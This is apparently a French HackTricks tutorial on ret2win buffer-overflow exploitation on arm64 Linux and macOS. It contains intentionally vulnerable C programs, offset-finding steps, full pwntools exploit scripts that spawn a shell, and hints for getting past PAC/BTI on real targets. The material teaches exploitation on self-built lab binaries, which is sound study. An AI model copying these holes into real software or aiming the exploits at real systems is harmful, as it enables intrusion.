Ret2win - arm64

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Trouvez une introduction à arm64 dans :

Introduction to ARM64v8

Code

#include <stdio.h>
#include <unistd.h>

void win() {
printf("Congratulations!\n");
}

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

Compiler sans pie et canary:

clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
  • Le flag supplémentaire -mbranch-protection=none désactive AArch64 Branch Protection (PAC/BTI). Si votre toolchain active par défaut PAC ou BTI, cela permet de garder le lab reproductible. Pour vérifier si un binaire compilé utilise PAC/BTI vous pouvez :
  • Recherchez les propriétés GNU AArch64 :
  • readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'
  • Inspectez les prologues/épilogues pour paciasp/autiasp (PAC) ou pour des landing pads bti c (BTI) :
  • objdump -d ret2win | head -n 40

Rappels rapides sur la convention d’appel AArch64

  • Le registre de lien est x30 (alias lr), et les fonctions sauvegardent typiquement x29/x30 avec stp x29, x30, [sp, #-16]! et les restaurent avec ldp x29, x30, [sp], #16; ret.
  • Cela signifie que l’adresse de retour sauvegardée se trouve à sp+8 relative à la base de frame. Avec un char buffer[64] placé en dessous, la distance d’écrasement habituelle jusqu’au x30 sauvegardé est 64 (buffer) + 8 (x29 sauvegardé) = 72 octets — exactement ce que nous trouverons ci‑dessous.
  • Le pointeur de pile doit rester aligné sur 16 octets aux frontières de fonction. Si vous construisez des chaînes ROP plus tard pour des scénarios plus complexes, conservez l’alignement du SP sinon vous risquez de provoquer un crash sur les épilogues de fonction.

Trouver l’offset

Option pattern

Cet exemple a été créé en utilisant GEF:

Lancez gdb avec gef, créez un pattern et utilisez-le :

gdb -q ./ret2win
pattern create 200
run

arm64 essaiera de revenir à l’adresse contenue dans le registre x30 (qui a été compromis), nous pouvons utiliser cela pour trouver le pattern offset :

pattern search $x30

L’offset est 72 (9x48).

Stack offset option

Commencez par obtenir l’adresse du stack où est stocké le registre pc :

gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame

Placez maintenant un breakpoint après le read() et lancez la commande continue jusqu’à ce que le read() soit exécuté, puis définissez un pattern tel que 13371337 :

b *vulnerable_function+28
c

Trouvez où ce motif est stocké en mémoire :

Then: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72

No PIE

Régulier

Obtenez l’adresse de la fonction win :

objdump -d ret2win | grep win
ret2win:     file format elf64-littleaarch64
00000000004006c4 <win>:

Exploit:

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'

# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Off-by-1

En fait, il s’agira plutôt d’un off-by-2 dans le PC stocké dans la stack. Au lieu d’écraser toute la return address, nous allons écraser seulement les 2 derniers bytes avec 0x06c4.

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Vous pouvez trouver un autre exemple d’off-by-one en ARM64 dans https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/, qui est un réel off-by-one dans une vulnérabilité fictive.

Avec PIE

Tip

Compilez le binaire sans l’argument -no-pie

Off-by-2

Sans un leak nous ne connaissons pas l’adresse exacte de la win function mais nous pouvons connaître l’offset de la fonction dans le binaire et, sachant que l’adresse de retour que nous écrasons pointe déjà vers une adresse proche, il est possible de leak l’offset vers la win function (0x7d4) dans ce cas et d’utiliser simplement cet offset:

```python from pwn import *

Configuration

binary_name = ‘./ret2win’ p = process(binary_name)

Prepare the payload

offset = 72 ret2win_addr = p16(0x07d4) payload = b’A’ * offset + ret2win_addr

Send the payload

p.send(payload)

Check response

print(p.recvline()) p.close()

## macOS

### Code
```c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

__attribute__((noinline))
void win(void) {
system("/bin/sh"); // <- **our target**
}

void vulnerable_function(void) {
char buffer[64];
// **BOF**: reading 256 bytes into a 64B stack buffer
read(STDIN_FILENO, buffer, 256);
}

int main(void) {
printf("win() is at %p\n", win);
vulnerable_function();
return 0;
}

Compiler sans canary (sur macOS vous ne pouvez pas désactiver PIE):

clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security

Exécuter sans ASLR (bien que nous ayons un address leak, nous n’en avons pas besoin) :

env DYLD_DISABLE_ASLR=1 ./bof_macos

Tip

Il n’est pas possible de désactiver NX sur macOS car sur arm64 ce mode est implémenté au niveau matériel, donc vous ne pouvez pas le désactiver, vous ne trouverez donc pas d’exemples avec shellcode dans la stack sur macOS.

Trouver l’offset

  • Générer un pattern:
python3 - << 'PY'
from pwn import *
print(cyclic(200).decode())
PY
  • Lancez le programme et entrez le pattern pour provoquer un crash :
lldb ./bof_macos
(lldb) env DYLD_DISABLE_ASLR=1
(lldb) run
# paste the 200-byte cyclic string, press Enter
  • Vérifiez le registre x30 (l’adresse de retour) pour trouver l’offset :
(lldb) register read x30
  • Utilisez cyclic -l <value> pour trouver l’offset exact:
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY

# Replace 0x61616173 with the 4 first bytes from the value of x30
  • C’est ainsi que j’ai trouvé l’offset 72 : en plaçant à cet offset l’adresse de la fonction win(), vous pouvez exécuter cette fonction et obtenir un shell (exécution sans ASLR).

Exploit

#!/usr/bin/env python3
from pwn import *
import re

# Load the binary
binary_name = './bof_macos'

# Start the process
p = process(binary_name, env={"DYLD_DISABLE_ASLR": "1"})

# Read the address printed by the program
output = p.recvline().decode()
print(f"Received: {output.strip()}")

# Extract the win() address using regex
match = re.search(r'win\(\) is at (0x[0-9a-fA-F]+)', output)
if not match:
print("Failed to extract win() address")
p.close()
exit(1)

win_address = int(match.group(1), 16)
print(f"Extracted win() address: {hex(win_address)}")

# Offset calculation:
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
offset = 64 + 8  # 72 bytes total to reach the return address

# Craft the payload - ARM64 addresses are 8 bytes
payload = b'A' * offset + p64(win_address)
print(f"Payload length: {len(payload)}")

# Send the payload
p.send(payload)

# Drop to an interactive session
p.interactive()

macOS - 2e exemple

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

__attribute__((noinline))
void leak_anchor(void) {
puts("leak_anchor reached");
}

__attribute__((noinline))
void win(void) {
puts("Killed it!");
system("/bin/sh");
exit(0);
}

__attribute__((noinline))
void vuln(void) {
char buf[64];
FILE *f = fopen("/tmp/exploit.txt", "rb");
if (!f) {
puts("[*] Please create /tmp/exploit.txt with your payload");
return;
}
// Vulnerability: no bounds check → stack overflow
fread(buf, 1, 512, f);
fclose(f);
printf("[*] Copied payload from /tmp/exploit.txt\n");
}

int main(void) {
// Unbuffered stdout so leaks are immediate
setvbuf(stdout, NULL, _IONBF, 0);

// Leak a different function, not main/win
printf("[*] LEAK (leak_anchor): %p\n", (void*)&leak_anchor);

// Sleep 3s
sleep(3);

vuln();
return 0;
}

Compiler sans canary (sur macOS vous ne pouvez pas désactiver PIE):

clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security

Trouver l’offset

  • Générez un pattern dans le fichier /tmp/exploit.txt :
python3 - << 'PY'
from pwn import *
with open("/tmp/exploit.txt", "wb") as f:
f.write(cyclic(200))
PY
  • Exécutez le programme pour provoquer un crash:
lldb ./bof_macos
(lldb) run
  • Vérifiez le registre x30 (l’adresse de retour) pour trouver l’offset :
(lldb) register read x30
  • Utilisez cyclic -l <value> pour trouver l’offset exact :
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY
# Replace 0x61616173 with the 4 first bytes from the value of x30
  • C’est ainsi que j’ai trouvé l’offset 72 ; en plaçant à cet offset l’adresse de la fonction win(), vous pouvez exécuter cette fonction et obtenir un shell (s’exécutant sans ASLR).

Calculer l’adresse de win()

  • Le binaire est PIE ; en utilisant le leak de la fonction leak_anchor() et en connaissant l’offset de la fonction win() par rapport à leak_anchor(), nous pouvons calculer l’adresse de la fonction win().
objdump -d bof_macos | grep -E 'leak_anchor|win'

0000000100000460 <_leak_anchor>:
000000010000047c <_win>:
  • L’offset est 0x47c - 0x460 = 0x1c

Exploit

#!/usr/bin/env python3
from pwn import *
import re
import os

# Load the binary
binary_name = './bof_macos'
# Start the process
p = process(binary_name)

# Read the address printed by the program
output = p.recvline().decode()
print(f"Received: {output.strip()}")

# Extract the leak_anchor() address using regex
match = re.search(r'LEAK \(leak_anchor\): (0x[0-9a-fA-F]+)', output)
if not match:
print("Failed to extract leak_anchor() address")
p.close()
exit(1)
leak_anchor_address = int(match.group(1), 16)
print(f"Extracted leak_anchor() address: {hex(leak_anchor_address)}")

# Calculate win() address
win_address = leak_anchor_address + 0x1c
print(f"Calculated win() address: {hex(win_address)}")

# Offset calculation:
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
offset = 64 + 8  # 72 bytes total to reach the return address

# Craft the payload - ARM64 addresses are 8 bytes
payload = b'A' * offset + p64(win_address)
print(f"Payload length: {len(payload)}")

# Write the payload to /tmp/exploit.txt
with open("/tmp/exploit.txt", "wb") as f:
f.write(payload)

print("[*] Payload written to /tmp/exploit.txt")

# Drop to an interactive session
p.interactive()

Notes on modern AArch64 hardening (PAC/BTI) and ret2win

  • Si le binaire est compilé avec AArch64 Branch Protection, vous pouvez voir paciasp/autiasp ou bti c émis dans les prologues/épilogues de fonction. Dans ce cas :
  • Le retour vers une adresse qui n’est pas un BTI landing pad valide peut déclencher un SIGILL. Préférez cibler l’entrée de fonction exacte qui contient bti c.
  • Si PAC est activé pour les retours, les écrasements naïfs d’adresse de retour peuvent échouer car l’épilogue authentifie x30. Pour des scénarios d’apprentissage, recompilez avec -mbranch-protection=none (montré ci‑dessus). Lors d’attaques sur de vraies cibles, préférez des détournements sans retour (par ex. écrasements de function pointer) ou construisez du ROP qui n’exécute jamais la paire autiasp/ret authentifiant votre LR falsifié.
  • Pour vérifier rapidement les fonctionnalités :
  • readelf --notes -W ./ret2win et cherchez les notes AARCH64_FEATURE_1_BTI / AARCH64_FEATURE_1_PAC.
  • objdump -d ./ret2win | head -n 40 et cherchez bti c, paciasp, autiasp.

Running on non‑ARM64 hosts (qemu‑user quick tip)

If you are on x86_64 but want to practice AArch64:

# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross

# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win

# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'

Pages HackTricks associées

Ret2syscall - arm64

Ret2lib + Printf leak - arm64

Références

  • Activation de PAC et BTI sur AArch64 pour Linux (Arm Community, Nov 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
  • Standard d’appel de procédures pour l’architecture Arm 64 bits (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks